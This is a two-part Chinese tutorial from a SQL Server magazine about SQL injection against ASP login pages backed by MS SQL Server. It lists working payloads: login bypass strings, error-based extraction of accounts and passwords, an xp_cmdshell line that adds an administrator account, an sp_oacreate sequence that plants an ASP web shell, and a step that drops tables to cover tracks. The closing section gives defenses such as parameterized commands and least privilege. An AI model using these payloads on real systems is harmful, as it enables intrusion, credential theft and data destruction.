前言
计算机系统的安全一直是你我所重视的,但或许你一直在替系统安装修正文件,防毒软件,架设防火墙,划定非军事区等等,但可能由于撰写程序代码的疏忽,你的背后正有一个自己营造的大漏洞。
sql injection – 骇客的 sql填空游戏
在现今的应用程序架构中,大部分都含有数据库,以容纳各式各样的资料。而在各类型的数据库中,又以结构化查询语言(sql structure query language)为基础的关系型数据库管理系统(rdbms relational database management system)最为流行。
一般的程序设计师在存取数据库时,往往是利用 visual basic等第三代语言来组织 sql 语言,然后再传递给关系型数据库系统执行,以建立或删除数据结构,赋予或移除使用权限,乃至于新增、修改、删除或查询资料。因为关系型数据库所有的执行动作皆是遵循 sql 命令,所以透过此种方式可以很方便地完成各种资料维护工作。但也正因为 sql 语言无所不能,所以稍有漏洞就会让骇客有机可乘。这两期文章就针对这个主题做一个深入的探讨。
网站的资料存取一般来说是比较危险的,因为网际网络是一个开放的环境,而不像一般公司内部网络,除了有计算机本身的安全设计,还可以过滤筛检员工的身分背景。网际网络上龙蛇杂处,大部分的使用者都循规导矩,但少数图谋不轨的人却处心积虑地要侵入我们的系统,窃取有价值的资料。但一般的网管人员及网页设计师,可能在安全设定上有着重重防范,如架设防火墙,设计非军事区(dmz),限制网站登入者的身分等等。但由于缺乏对 sql 语言及数据库管理系统的认知,而大开系统的后门。
本文针对微软的 asp 网站架构搭配 ms sql server 做一个探讨及示范,希望能提供各网站的管理人员对 sql injection 的入侵方式有个基本的认识,就笔者在撰写本文时,利用搜寻网站随意找几个有会员机制的网站来测试,其中多数都有被此类方式侵入的危险,大家不可不慎。
笔者在此先建立一个一般会员网站登入网页的范例,以及相关资料表的架构如下:
资料表的 schema 如程序代码列表 1。
create table [tbluser] (
[userid] [int] identity (1, 1) not null ,
[username] [nvarchar] (50) not null ,
[password] [nvarchar] (50) not null ,
[pri] [tinyint] null constraint [df_tbluser_pri] default (0),
constraint [pk_tbluser] primary key clustered
([userid])
)
程序代码列表 1:存放会员资料的资料表 schema。
并在资料表加入两笔资料内容
insert tbluser(username,password,pri) values(admin,adminpass,10)
insert tbluser(username,password,pri) values(byron,byronpass,10)
登入网页的撰写方式如程序代码列表 2。
<%
if request(“username”)<>”” and request(“pass”)<>”” then
dim cnn,rec,strsql
set cnn=server.createobject(“adodb.connection”)
with cnn
.connectionstring=application(“conn”)
.open
利用使用者输入的资料来组合 sql 语法
strsql=”select * from tbluser where username=” & _
request(“username”) & ” and password=” & request(“pass”) & “”
直接交给 sql server 执行,这是最危险的地方
set rec=.execute(strsql)
end with
if not rec.eof then
session(“username”)=request(“username”)
response.write “欢迎光临 ” & request(“username”)
else
response.write “您的帐号/密码输入错误”
end if
else
%>
<form action=”login.asp”>
使用者名称:<input name=”username”><p>
密码:<input name=”pass” >
<p>
<input type=”submit” value=”确定”>
</form>
<%
end if
%>
程序代码列表 2:简单的 asp 登入网页。
在程序代码列表 2 中的 asp 网页利用 vbscript 来组合查询使用者帐号、密码的 sql 查询语法,逻辑相当简单,若资料表中存有符合的帐号、密码记录,则回传的 recordset 的 eof 属性是 false,该使用者就算正确登入。
针对此种网页,我们以下就开始利用 sql injection 的技巧来”骇”这个网站吧!
剪接语法
利用任何已知的使用者名称登入1:例如在网咖偷偷地观察某个使用者用什么样的帐号登入到哪个网站等等,或着先试试一般管理人员可能建立的使用者名称,如:admin、administrator、supervisor、sa 等等。
在需要输入使用者名称的地方键入以下的内容2:
admin’–
而密码字段随便乱输入,对于会被执行的整句 sql 没有什么关系。示意图如图 1。
图 1:利用已知的会员名称登入,让程序代码跳过密码检查。
你可以试着将输入使用者名称的内容与程序代码列表 2 的 sql 语法做个整理,将会发现实际传给 sql server 的语法如下
select * from tbluser where username=admin– and password=asdf
关键就是原先的 and 子句被 “–” 标示成说明,也就是 sql server 仅仅执行
select * from tbluser where username=admin
自然,若有该使用者存在,则这个 sql 查询语法就传回该记录的所有字段内容。再按照程序代码列表 2 的判断方式:传回的 recordset 是否有记录,若有就算登入验证成功。则骇客就可以轻易地以该使用者的身分进入了。
用未知的使用者名称登入:若没有已知的帐号,也可以用以下的方式输入到使用者名称字段,便能大大方方地侵入:
‘ or 1=1–
sql server 所接收的整个语法变成:
select * from tbluser where username= or 1=1– and password=asdf
因为加上的 or 1=1,则不管之前的条件为合,只要某个条件为真,整个判断式就都为真,因此回传的 recordset 对象包含了全部的会员记录。也导致程序代码列表 2 中的 recordset 对象 eof 属性为 false。
利用错误讯息
获取字段数量与名称
微软为了方便 asp 的程序开发者可以顺利地除错,因此每当 script 执行错误时,都会透过预设的 <系统所在磁盘>\winnt\help\iishelp\common\500-100.asp 网页将发生错误的原因回传到前端,对于开发者来说,这是一个非常方便的错误呈现方式。但骇客也可以利用这个错误讯息取得原始 asp 中的查询语法,并从中了解数据库中资料表的架构。例如在使用者名称字段输入:
having 1=1–
则系统会传回如图 2 的错误讯息。
图 2:故意制造错误,从错误讯息中找寻蛛丝马迹。
由图 2 可以知道存放使用者的资料表名称是 tbluser,且查询中有一个字段叫 userid。因此我们再次输入:
group by userid having 1=1–
这回错误讯息如图 3。
图 3:利用错误讯息来了解资料表大致结构。
再次在图 3 的错误讯息中可知查询的字段还有 username,因此继续以下列方式来查询3。
group by userid,username having 1=1–
利用上述方式取到完整查询语法后,也就是输入以下的语法,但不再造成执行时期错误:
group by userid,username,password,pri having 1=1–
因为整个传递到 sql server 的语法变成:
select * from tbluser where username=group by userid,username,password,pri having 1=1– and password=asdf
如此列出所有字段的 group by 方式几近等于没有 group by,但语法完全正确表示所有的字段都已经包含在其中了。骇客就此可以约略估计资料表的字段结构。
在输入帐号的地方执行以下语法便可以加入自订的使用者到资料表中。
;insert into tbluser values(hacker,hacker,10)–
获取字段资料型态
若有数据域位格式不对,导致无法加入自订使用者,也可以利用下列语法传回的错误讯息来判读数据域位格式:
union select abc,1,1,1 from tbluser —
结果传回如图 4 的错误讯息。
图 4:利用错误讯息来判断字段的资料型态。
在这里我们透过 union 语法来组合两句 select 查询,第一句 select 语法的第一个字段 userid 是 int 格式,但对应的第二句 select 语法;第一个字段的资料是 varchar 格式的 ‘abc’,因此出现如图 4 的错误讯息。骇客也由此得知资料表第一个字段的资料型态是 int。有耐心地把一个个字段测试完毕后,便可以得到整个资料表的字段格式。
获取会员的帐号密码
利用这个技巧,还可以再进一步获取使用者的帐号和密码,例如先以下列语法询问帐号:
union select username,1,1,1 from tbluser where username>a–
iis 回传错误讯息如图 5。
图 5:利用错误讯息来取得使用者帐号和密码。
因为传回的记录”admin”是 nvarchar 格式,而透过 union 对应到原先 int 数据域位,因此有图 5 的错误讯息。由以上的错误可以得知有一个称为”admin”的帐号存在,之后再以下列语法获得该帐号的密码。
union select password,1,1,1 from tbluser where username=admin–
错误讯息如图 6。
图 6:利用错误讯息取得帐号 admin 的密码。
之后再继续以下列语法来获得其它人的帐号密码。
union select username,1,1,1 from tbluser where username>admin–
错误讯息如图 7。
图 7:依序透过相同的机制取得其它人的帐号密码。
依次替换掉 where username > 的条件内容,就可以取得资料表中所有的帐号和密码组合。
骇客甚至可以透过以下的语法将整个使用者帐号密码串成字符串:在输入使用者帐号的字段填入如程序代码列表 3 的 sql 语句。
;declare @str varchar(8000) set @str=@ select @str=@str+ +username+/+password from tbluser where username>@str select @str as idpass into tblhacker–
程序代码列表 3:将所有的使用者数据组成字符串,放入自订的数据表中。
在程序代码列表 3 中,先宣告一个长度为 8000 的字符串变量 @str,再将整个 tbluser 资料表的内容组成一个字符串放到变量 @str 之内,最后再利用 select … into… 语法把 @str 变量的内容放到自建的资料表 tblhacker 之中。
然后再利用前述故意营造错误的技巧换回资料内容。
union select idpass,1,1,1 from tblhacker–
结果如图 8。
图 8:取回全部的会员帐号密码资料。
当然事后要做一个清除的动作,以避免系统管理人员的注意,依然在名称字段输入如下的内容。
; drop table tblhacker–
在本期的文章中,笔者介绍了一般的 sql injection 攻击,相信你不是感到兴奋且跃跃欲试,想要找几个网站来开刀,就是感到毛骨悚然,赶快检视一下自己的系统。不管你是何者,笔者期盼本文不致遭到误用,若有心测试别站的安全程度,建议你将成果告知该站的管理人员,让整个网际网络的世界更为安全,一般人才会愿意流涟在其上,而我们信息人员才有更好的未来。
在下期文章中,笔者将继续介绍进阶的 sql injection 攻击,并提出因应的防范之道,期待再次与你见面。
后记:本文所举各例,并非单指microsoft sql server而言,事实上所有关系型数据库如oracle等均是如此。同时,本文所举各例,并非单指asp而言,事实上对所有动态网页如jsp、php等均是如此(即使你的系统还停留在cgi技术也是一样),奉劝各位实时检视您的系统,防患未然。
(本文由sql server电子杂志 http://www.sqlserver.com.tw 授权台湾微软独家转载)
注释:
1
就笔者观察,现今很多的有会员机制的网站在登入时都是以身分证字号当作登入帐号,所以骇客只要想办法拿到某个会员的身分证字号就可以试试这个方法。
2
以下的 sql injection 登入方式都是只利用使用者帐号的字段,输入不同的 sql 语法,以组织各种可能的执行方式,而都利用 “–” 将后面的密码字段标示成 sql 说明。
3
骇客的第一特质:有耐心。笔者因此就没有做骇客的天赋,为了撰写这篇文章,笔者反反复覆地测试各个网站,重复的过程非常乏味,所得结论是既然有这个精力,笔者宁愿多看点书,赚取正当的收入。
sql injection – 骇客的 sql填空游戏(下)
sql server 本身提供了非常多的函数、预存程序、延伸预存程序来辅助 t-sql,好让程序设计师透过 t-sql 完成商业逻辑运作所需的预存程序。但一般的使用者较熟悉以 visual basic 等程序语言来撰写存取资料的程序,因而对此类的功能所知不多,更别提要如何防范骇客透过这一类的功能来遂行其目的。
使用具破坏力的语法
以下列举部分的功能稍做讨论。
停掉 sql server 的执行
直接输入 shutdown 命令,要求 sql server 停止执行。在网页上输入帐号的地方可以直接键入以下语法便可:
;shutdown–
破坏内容
当然,只要权限够,也可以执行有破坏性的 sql 语法1 。如删除某个数据库:
;drop database <数据库名称>–
删除数据库内某个资料表:
;drop table <资料表名称>–
清空某个资料表:
;truncate table <资料表名称>–
抑或是以 delete 清空资料表:
;delete from <资料表名称>–
使用进阶且功能强悍的延伸预存程序
这一类的预存程序多以 xp_ 开头,存放在 master 系统数据库的延伸预存程序中。有趣的是大部分的延伸预存程序在 sql server 所附的线上说明中都没有列出来,也没有说明。笔者本想到微软网站利用全文检索找寻这些延伸预存程序的蛛丝马迹,以列表讨论,但发现大多是无可奉告(undocumented),看来延伸预存程序虽然功能强大,但微软并不鼓励大家使用。
笔者选几个较有趣的分别介绍。
执行其它应用程序
xp_cmdshell 应该是大家最常使用的延伸预存程序之一,透过这个延伸预存程序可以 sql server 的系统帐号来执行任何应用程序。
以下程序代码列表 1 直接利用操作系统所附的 net 工具程序,在 windows 系统中加入一个使用者帐号 hacker ;没有密码,并将该帐号加到 sql server,再放入到最大的使用者权力群组 sysadmin:
; exec master..xp_cmdshell net user hacker /add exec master..sp_grantlogin byron-xp\hacker exec master..sp_addsrvrolemember byron-xp\hacker,sysadmin–
程序代码列表 1:加入自订的使用者,并赋予该帐号最大的权限。
若你还开放网际网络存取 sql server预设使用的 tcp 1433 埠,则骇客将有机会唐而皇之地控管 sql server。
与 registry 相关的系统预存程序
sql server 提供了大量与 registry 相关的延伸预存程序,以 xp_reg 开头作为代表2。内容有:
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
骇客可以利用此类的延伸预存程序存取系统的注册资料,例如查询该机器上有哪些共享目录,范例如程序代码列表 2。再利用上一期的技巧,以错误讯息来呈现结果。
create table tblsharedir(dirname varchar(100), diratt varchar(100))
insert tblsharedir exec master..xp_regenumvalues hkey_local_machine,system\currentcontrolset ervices\lanmanserver hares
程序代码列表 2:利用 xp_regenumvalues 取得系统的共享目录。
再利用上篇文章介绍的以错误讯息来呈现结果的技巧,或是以下文中透过 bcp.exe 工具程序将 tblsharedir 输出成档案,都可以取得想要的结果。
与 ole automation/com 对象相关的延伸预存程序
sql server 提供了一组存取服务器外部 ole 对象相关的预存程序。它们分别是:
sp_oacreate
sp_oadestroy
sp_oamethod
sp_oagetproperty
sp_oasetproperty
sp_oageterrorinfo
sp_oastop
你可以用它们来建立 ole 对象(一般com 对象就可以了,但要支持 idispatch 接口),执行对象的方法,读取与修改属性,进行错误处理。但它们无法响应一般 ole 或 com 对象的事件。
有了 com/ole 对象的建立与执行,对于控制系统来说可算是如虎添翼,无所不能了。稍举个例子,骇客可以利用它来取得有兴趣的网页的原始码,如程序代码列表 3:
;declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, c:\winnt ystem32\cmd.exe /c type c:\inetpub\wwwroot qlinject\login.asp > c:\inetpub\wwwroot qlinject\test.txt–
程序代码列表 3:取得 login.asp 网页的内容。
在程序代码列表 3 中,利用 sp_oacreate 建立 “wscript.shell” 对象,并利用 sp_oamethod 呼叫 “wscript.shell” 对象的 run 方法,以执行操作系统命令接口工具程序 cmd.exe,将 login.asp 输出到 test.txt 档案中,这时骇客只要在网页上输入 http://…/…/test.txt 就可以看到 login.asp 写作的方式,作为下一步侵入的基本信息。
当然,骇客也可以利用 scripting.filesystemobject 对象来建立一个 asp 网页后门,语法如程序代码列表 4 所示:
declare @fs int,@fi int
exec sp_oacreate scripting.filesystemobject,@fs output
exec sp_oamethod @fs,createtextfile,@fs output,c:\inetpub\wwwroot qlinject hell.asp,1
exec sp_oamethod @fs,writeline,null,<% set objshell=server.createobject(“wscript.shell”) : objshell.run request(“cmd”) %>
程序代码列表 4:建立 asp 后门网页。
从此透过 url 就可以执行任何执行文件,范例如下:
http://localhost/sqlinject/shell.asp?cmd=c:\winnt ystem32\cmd.exe /c type c:\inetpub\wwwroot qlinject\login.asp > c:\inetpub\wwwroot qlinject\test.txt
其它相关的延伸预存程序
这一类的延伸预存程序,你可能要小心的还有:
延伸预存程序的名称
用途
使用范例
xp_availablemedia
显示系统上可用的磁盘驱动器,如 c:\。
xp_availablemedia
xp_dirtree
显示某个目录下的子目录与档案架构。
xp_dirtree c:\inetpub\wwwroot\
xp_enumdsn
列出系统上已经设定好的 odbc 资料来源名称(dsn data source name)。
xp_enumdsn
xp_enumgroups
列出操作系统上的使用者群组及该群组的说明。
xp_enumgroups
xp_getfiledetails
获取某个档案的相关属性。
xp_getfiledetails c:\inetpub\wwwroot qlinject\login.asp
dbo.xp_makecab
将目标多个档案压缩到某个目标档案之内。
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
dbo.xp_makecab
c:\test.cab,mszip,1,
c:\inetpub\wwwroot qlinject\login.asp,
c:\inetpub\wwwroot qlinject ecurelogin.asp
…
xp_ntsec_enumdomains
列出服务器的网域名称。
xp_ntsec_enumdomains
xp_servicecontrol
停掉或激活某个服务。
xp_servicecontrol stop,schedule
xp_servicecontrol start,schedule
dbo.xp_subdirs
只列某个目录下的子目录。
dbo.xp_subdirs c:\
xp_terminate_process
停掉某个执行中的程序,但赋予的参数是 process id。
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 process id
xp_terminate_process 2484
xp_unpackcab
解开压缩档。
xp_unpackcab c:\test.cab,c:\temp,1
以上表列的延伸预存程序是笔者在 master 系统数据库中,寻找名称比较有趣的;经过一一测试的结果。但不代表可以用来侵入系统的延伸预存程序都已经完全列出,毕竟骇客的创意屡屡翻新,你必须要时时谨慎小心。
sql server 的工具程序
透过 sql server 所提供的一些工具程序可以直接将资料表的内容输出成档案,例如透过 bcp 的 out 参数,将储存会员资料的资料表整个输出成档案,范例如下:
bcp northwind.dbo.tbluser out c:\inetput\wwwroot qlinject\user.txt -c -usa -p -sbyron-xp
当然,isql.exe 和 osql.exe 也都可以办到同样的功能,例如:
osql -usa -p -sbyron-xp -dnorthwind -oc:\inetpub\wwwroot qlinject\users.txt -q”select * from tbluser”
这一类的工具程序可以搭配前文的 xp_cmdshell 延伸预存程序,或是交由利用 sp_oa 系列预存程序建立的木马 asp 来执行,都可以达到窃取资料的目的。
对于预防 sql injection 的建议
综合以上各种的侵入技巧,笔者在此归纳一些维护系统安全的建议。
尽量地利用 asp 或 asp.net 在服务器端检查与限制输入变量的型别与长度,过滤掉不需要的内容。要注意的是这些检查不要放在前端。
就算在前端利用 html input 卷标的 maxlength 属性,或是以 jscript 撰写程序来设定字段长度的限制,只要将该网页另存新档,修改内容后(一般只要改写 form 的 action 属性以及 input 的 maxlength 属性),重新以浏览器开启再执行便可避过这些浏览器端的检查。 asp 程序登入 sql server 的帐号不要使用 sa,或任何属于 sysadmin 群组的帐号,避免有过大的权限。 sa 一定要有强固的密码,尤其是 sql server 7.0 以前的版本,在装机时预设 sa 没有密码,而一般管理者装完后也忘了或怕麻烦而不更改密码。 利用 ado 的 command 对象或 ado.net 的 sqlcommand class 来透过参数执行 sql 语法,直接以 adodb 的 connection 对象执行预存程序的写法一样糟糕。范例如下:
exec spxxx 参数,…
因为骇客所加入的 sql 语法一样可以执行:
exec spxxx 参数,…;shutdown
我们可以建立一个预存程序程序代码列表 5:
ecreate proc spuseraccount
@username nvarchar(50),@password nvarchar(50)
as
select username,password from tbluser
where username=@username and password=@password
程序代码列表 5:用来找寻符合的使用者帐号密码的预存程序。
同时将整个 asp 的查询换成如程序代码列表 6 的写法:
<%
if request(“username”)<>”” and request(“pass”)<>”” then
dim cnn,rec,strsql,cmd
set cnn=server.createobject(“adodb.connection”)
with cnn
.connectionstring=application(“conn”)
.open
end with
透过 adodb.command 对象来搭配预存程序,骇客就无法
利用组合 sql 字符串的方式来侵入系统
set cmd=server.createobject(“adodb.command”)
with cmd
.activeconnection = cnn
.commandtext = “spuseraccount”
.commandtype = 4 adcmdstoredproc
.parameters.append .createparameter(“username”, 202, 1, 50, request(“username”))
202 代表 advarwchar,1 代表 adparaminput
.parameters.append .createparameter(“password”, 202, 1, 50, request(“pass”))
set rec = .execute()
end with
if not rec.eof then
session(“username”)=request(“username”)
response.write “欢迎光临 ” & request(“username”)
else
response.write “您的帐号/密码输入错误”
end if
else
%>
程序代码列表 6:利用 adodb 的 command 对象来存取预存程序。
如程序代码列表 6 中灰色的程序代码区块,将存取 sql server 预存程序的方式改以透过 adodb 的 command 对象,如此骇客就不能用加入自订 sql 的语法来要求 sql server 执行额外的动作。
改掉预设的 web 虚拟路径,不要使用 iis 装好后预设的 <系统所在磁盘>\inetpub\wwwroot 路径,否则利用前述的档案存取方式,很容易在该目录下动手脚。 不要显示错误讯息到前端。
利用 vbscript 语法的 on error resume next,并搭配 if err.number<>0 then 的错误处理方式,自行将错误重导到适当的错误处理网页,如此系统将更稳固,且骇客也不易透过错误讯息来探知系统的内部运作方式。
或着,也可以修改<系统所在磁盘>\winnt\help\iishelp\common\500-100.asp 预设网页,最简单的方式就是将它更改名字3。 将用不到但功能强大的延伸预存程序删除。 监控系统的执行。 防火墙关闭 tcp 1433/udp 1434 埠(port)对外的联机4 。 随时注意是否有新的修补程序要上。
以上是针对 sql injection 防护方式的建议,但我们应该谨记于心的是世界上没有绝对安全的系统,只有自己时时小心,多看多听骇客们是否有翻新的手法,系统是否有异常的状况,唯有不断加强系统的安全措施,才能将危害降至最低。
相关网址
以下是一些关于 sql 以及系统安全的网址,提供给大家参考。
http://www.sqlserver.com.tw/
http://www.microsoft.com/sql/
http://www.microsoft.com/security/
http://www.microsoft.com/security/security_bulletins/ms02020_sql.asp
http://www.sqlsecurity.com/
http://www.nextgenss.com/
http://www.atstake.com/
http://www.securityfocus.com/
http://www.appsecinc.com/
(本文由sql server电子杂志 http://www.sqlserver.com.tw 授权台湾微软独家转载)
注释:
1
就笔者的观察,一般的程序设计师多喜欢用 sql server 最大的预设帐号 sa 来存取资料。因此给予骇客予取予求的权力。
2
这里表列的延伸预存程序可以透过 enterprise manager 或 query analyzer 看到,但是在 sql server 线上丛书找不到相关资料。
3
笔者不建议一开始就删除500-100.asp,因为这会导致很难替程序除错。建议在程序开发完成上线后,将 500-100.asp 更改名称。在自行撰写的 asp 檔首加入 on error resume next/if err.number <> 0 then 等,错误处理应该是在程序撰写时就要注意的程序架构,若为了除错方便,可以先以单引号让 on error resume next 语法成为说明。
4
有报告显示现今有网络蜘蛛专门寻找在网际网络上,可以直接透过 tcp 1433/udp 1434 埠(port)存取,但 sa 帐号没有设定密码的 sql server,在找到该服务器后便利用前述的技巧取得对系统的控制权。